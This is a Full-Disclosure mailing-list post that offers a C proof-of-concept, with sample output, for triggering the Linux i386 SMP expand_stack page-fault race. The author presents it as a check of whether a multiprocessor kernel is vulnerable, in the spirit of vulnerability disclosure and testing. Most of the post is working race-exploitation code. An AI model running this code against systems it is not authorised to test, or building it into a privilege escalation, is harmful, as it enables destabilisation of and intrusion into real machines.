Re: Linux kernel i386 SMP page fault handler privilege escalation

[Christophe Devine <cdevine () lab b-care net>]

Paul Starzetz <ihaquer () isec pl> wrote:

> An exploitable race condition exists in the page fault  handler  if  two
> concurrent  threads  sharing the same virtual memory space request stack
> expansion at the same time. It is  only  exploitable  on  multiprocessor
> machines (that also includes systems with hyperthreading).

Exploiting the race condition itself is quite tricky, especially if the
system load is high. The following proof-of-concept code may be used to
check if an x86 SMP kernel is vulnerable; it is a bit unreliable though.

$ gcc stackgrow.c
$ ./a.out

  [+] in thread 1 (pid = 604)
  [+] in thread 2 (pid = 605)
  [+] rdtsc calibration: 53888
  [+] exploiting race, wait...
  [+] race won (shift: 560)
  [+] kernel might be vulnerable.

$ cat stackgrow.c

/*
 *  expand_stack SMP race PoC exploit
 *
 *  Copyright (C) 2005  Christophe Devine
 *
 *  Vulnerability discovered by Paul Starzetz <ihaquer () isec pl>
 *  http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/page.h>

#define MMAP_BASE   (void *) (TARGET_BASE + PAGE_SIZE * 2)
#define TARGET_BASE (void *) 0x60000000
#define STACK1_BASE (void *) 0x01000000
#define STACK2_BASE (void *) 0x02000000
#define MAGIC_TEST  0x18A041DE

int pid1, sff;
long long tsc1, tsc2;

void child1_sighandler( int signum )
{
    int *xs1, i, j;

    if( signum == SIGUSR1 )
    {
        for( i = 0; i > sff; i-- ) j = i * i;

        asm volatile( "rdtsc" : "=A" (tsc1) );
        xs1 = TARGET_BASE; *xs1 = MAGIC_TEST;
        signal( SIGUSR1, child1_sighandler );
    }
}   

int child1_thread( void *arg )
{
    printf( "  [+] in thread 1 (pid = %d)\n", getpid() );
    signal( SIGUSR1, child1_sighandler );
    while( 1 ) sleep( 2 );
    return( 0 );
}

int test_race_result( void )
{
    FILE *f;
    int *mtest;
    char line[128];

    unsigned int vma_start_prev;
    unsigned int vma_start;
    unsigned int vma_end;

    if( ( f = fopen( "/proc/self/maps", "r" ) ) == NULL )
    {
        perror( "  [-] fopen /proc/self/maps" );
        exit( 1 );
    }

    mtest = TARGET_BASE;

    vma_start_prev = 0;

    while( fgets( line, sizeof( line ) - 1, f ) != NULL )
    {
        sscanf( line, "%08x-%08x", &vma_start, &vma_end );

        if( vma_start == (int) MMAP_BASE - PAGE_SIZE &&
            vma_end   == (int) MMAP_BASE + PAGE_SIZE &&
            vma_start_prev != (int) TARGET_BASE &&
            *mtest == MAGIC_TEST )
            return( 0 );

        vma_start_prev = vma_start;
    }

    fclose( f );

    return( 1 );
}

int child2_thread( void *arg )
{
    long delta[8];
    int *xs2, i, j, fct;

    usleep( 50000 );
    printf( "  [+] in thread 2 (pid = %d)\n", getpid() );

    asm volatile( "rdtsc" : "=A" (tsc1) );
    for( i = 0; i < 4096; i++ ) j = i * i;
    asm volatile( "rdtsc" : "=A" (tsc2) );
    fct = tsc2 - tsc1;

    printf( "  [+] rdtsc calibration: %d\n", fct );

    for( i = 0; i < 8; i++ )
        delta[i] = 0;

    tsc1 = tsc2 = 0;

    printf( "  [+] exploiting race, wait...\n" );

    while( 1 )
    {
        if( mmap( MMAP_BASE, 0x1000, PROT_READ | PROT_WRITE,
                  MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE |
                  MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
        {
            perror( "  [-] mmap target" );
            return( 1 );
        }

        j = 0;
        for( i = 0; i < 8; i++ )
            j += delta[i];
        j /= 8;

        sff += ( 128 * j ) / fct;

        if( sff < -16384 || sff > 16384 )
            sff = 0;

        for( i = 7; i > 0; i-- )
            delta[i] = delta[i - 1];

        delta[0] = tsc1 - tsc2;

        kill( pid1, SIGUSR1 );

        for( i = 0; i < sff; i++ ) j = i * i;

        asm volatile( "rdtsc" : "=A" (tsc2) );
        xs2 = MMAP_BASE - PAGE_SIZE; *xs2 = 0;

        if( test_race_result() == 0 )
        {
            usleep( 10000 );

            if( test_race_result() == 0 )
                break;
        }

        munmap( TARGET_BASE, PAGE_SIZE * 3 );
    }

    printf( "  [+] race won (shift: %d)\n", sff );

    return( 0 );
}

int main( void )
{
    FILE *f;
    char line[1024];
    int nb_cpu, pid2, s;

    if( ( f = fopen( "/proc/cpuinfo", "r" ) ) == NULL )
    {
        perror( "  [-] fopen /proc/cpuinfo" );
        return( 1 );
    }

    nb_cpu = 0;

    while( fgets( line, sizeof( line ) - 1, f ) != NULL )
        if( memcmp( line, "processor", 9 ) == 0 )
            nb_cpu++;

    fclose( f );

    if( nb_cpu <= 1 )
    {
        fprintf( stderr, "This program only works on SMP systems.\n" );
        return( 1 );
    }

    printf( "\n" );

    if( mmap( STACK1_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
        MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
    {
        perror( "  [-] mmap child1 stack" );
        return( 1 );
    }

    if( ( pid1 = clone( child1_thread, STACK1_BASE + 0x4000,
                        SIGCHLD | CLONE_VM, 0 ) ) == -1 )
    {
        perror( "  [-] clone child1" );
        return( 1 );
    }

    if( mmap( STACK2_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
        MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
    {
        perror( "  [-] mmap child2 stack" );
        kill( pid1, SIGKILL );
        return( 1 );
    }

    if( ( pid2 = clone( child2_thread, STACK2_BASE + 0x4000,
                        SIGCHLD | CLONE_VM, 0 ) ) == -1 )
    {
        perror( "  [-] clone child2" );
        kill( pid1, SIGKILL );
        return( 1 );
    }

    waitpid( pid2, &s, 0 );
    kill( pid1, SIGKILL );

    if( WEXITSTATUS(s) != 0 )
        return( 1 );

    printf( "  [+] kernel might be vulnerable.\n\n" );

    return( 0 );
}

-- 
Christophe Devine - http://www.cr0.net:8040/about/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html